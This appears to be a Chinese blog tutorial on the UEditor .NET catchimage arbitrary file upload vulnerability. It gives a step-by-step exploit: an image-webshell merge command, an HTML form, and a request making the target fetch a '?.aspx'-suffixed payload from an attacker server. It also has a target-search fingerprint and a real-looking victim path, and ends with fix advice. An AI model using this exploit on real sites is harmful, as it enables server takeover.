发布时间:2023-08-28 11:30
UEditor是由百度web前端研发部开发的所见即所得的开源富文本编辑器,
具有轻量、可定制、用户体验优秀等特点。
基于MIT开源协议,所有源代码在协议允许范围内可自由修改和使用。
百度UEditor的推出,可以帮助不少网站开发者在开发富文本编辑器所遇到的难题,节约开发者因开发富文本编辑器所需要的大量时间,
有效降低了企业的开发成本。
全新的分层理念,满足多元化的需求。
采用三层架构:
兼容 Mozilla, MSIE, FireFox, Maxthon,Safari 和 Chrome,实现浏览器无差别化。
统一不同浏览器下表格选取方式。
提供黑 / 白名单的过滤机制。
更好的 word 支持,实现粘贴转换机制。
该漏洞影响UEditor的.Net版本,其他的php,jsp,asp版本不受此UEditor的漏洞的影响。
asp(.net)环境安装,win2008,漏洞版本只支持.net 4.0,选择net4.0
https://pan.baidu.com/s/1ntG3Tsl#list/path=%2F ueditor历史版本
http://fex.baidu.com/ueditor/#server-net UEditor文档
发布时间:2018-08-03
公开时间:2018-08-21
漏洞类型:逻辑漏洞
危害等级:高
漏洞编号:xianzhi-2018-08-16052905(不收取 驳回)
测试版本:github最新版
ueditor1_4_3-utf8-net.zip
body="UE.getEditor('editor').setHide()"
Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,
.net存在任意文件上传,导致可以绕过文件格式的限制达到任意文件上传 ,在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断。
漏洞的成因是在获取图片资源时仅检查了ContentType,
Crawler方法对source[]的检查仅仅是一个ContentType。
if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}
测试上传正常功能
可在配置文件 与 多图上传 查看上传图片的 落地路径。
eg:
http://ip:8068/ueditor/net/upload/image/20220628/6379200402765060174657720.aspx
访问net/controller.ashx 控制器文件
控制器中存在多个动作的调用,包含了uploadimage、uploadscrawl、uploadvideo、uploadfile、catchimage等等
在网址添加/controller.ashx?action=catchimage参数查看是否漏洞存在
http://ip:8068/ueditor/net/controller.ashx?action=catchimage&encode=utf-8
copy 1.JPG/b + 1.aspx/a ueditor.jpg
复制当前目录下的1.jpg图片和当前目录下的1.aspx文件并以ASCII代码的方式合并为 ueditor.jpg图片
不是上传漏洞所以enctype 不需要指定为multipart/form-data
<form action="http://xx.com/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
<form action="http://xxxxxxxxx/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr: <input type=“text” name=“source[]” /></p >
<input type=“submit” value=“Submit” />
</form>
修改 目标站点
action后填写路径为实际中遇到的路径,不要太死板,如果太死板不按网站的实际路径来就会出现这种路径找不到的错误。
需要一个服务器,上传你的木马文件,其中 shell addr 后填写的就是你服务器上木马的地址加上后缀 ?.aspx (为了使服务器返回的ContentType是image/xxx)
eg: http://ip:端口/x.jpg?.aspx
http://www.xartvu.sn.cn/uploadimage/20220701/1_20220701_cce41be5e1044717a13137b3796062f8.jpg
只要绕过【image】检测就可以正常上传到目标服务器了,从而进一步getshell。
没有绕过【image】检测的话,就会显示如下提示:
{"state":"SUCCESS","list":[{"state":"SUCCESS","source":"http://www.xxxx.com//upload/Encyclopedias/201808/03/2018080300550278683.png?.aspx","url":"/upload/image/201808/03/6366885698033038502306919.aspx"}]}
post内容写图片马的url
post 数据为:
source[]=https://s1.ax1x.com/2018/04/11/CkFSrn.jpg?.aspx
成功则访问图片马,注意访问的时候是配置里面的路径,根据个人情况进行路径调整
攻击者可以上传任意文件包括脚本执行文件,包括aspx脚本木马,asp脚本木马,还可以利用该UEditor漏洞对服务器进行攻击,执行系统命名破坏服务器
1.修改工程目录下net/App_Code/CrawlerHandler.cs文件,添加对文件类型检查的代码,文件上传格式的严格过滤与判断。
2.使用各类WAF软件,防止攻击者上传恶意文件。
3.检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。
4.目前临时的漏洞修复是建议,把文件上传目录设置无脚本执行权限,uploadvideo、uploadimage、catchimage、uploadscrawl、uploadfile、等等目录都设置上无脚本权限。
5.在百度UEditor官方没有出补丁前,设置图片目录为只读,禁止写入。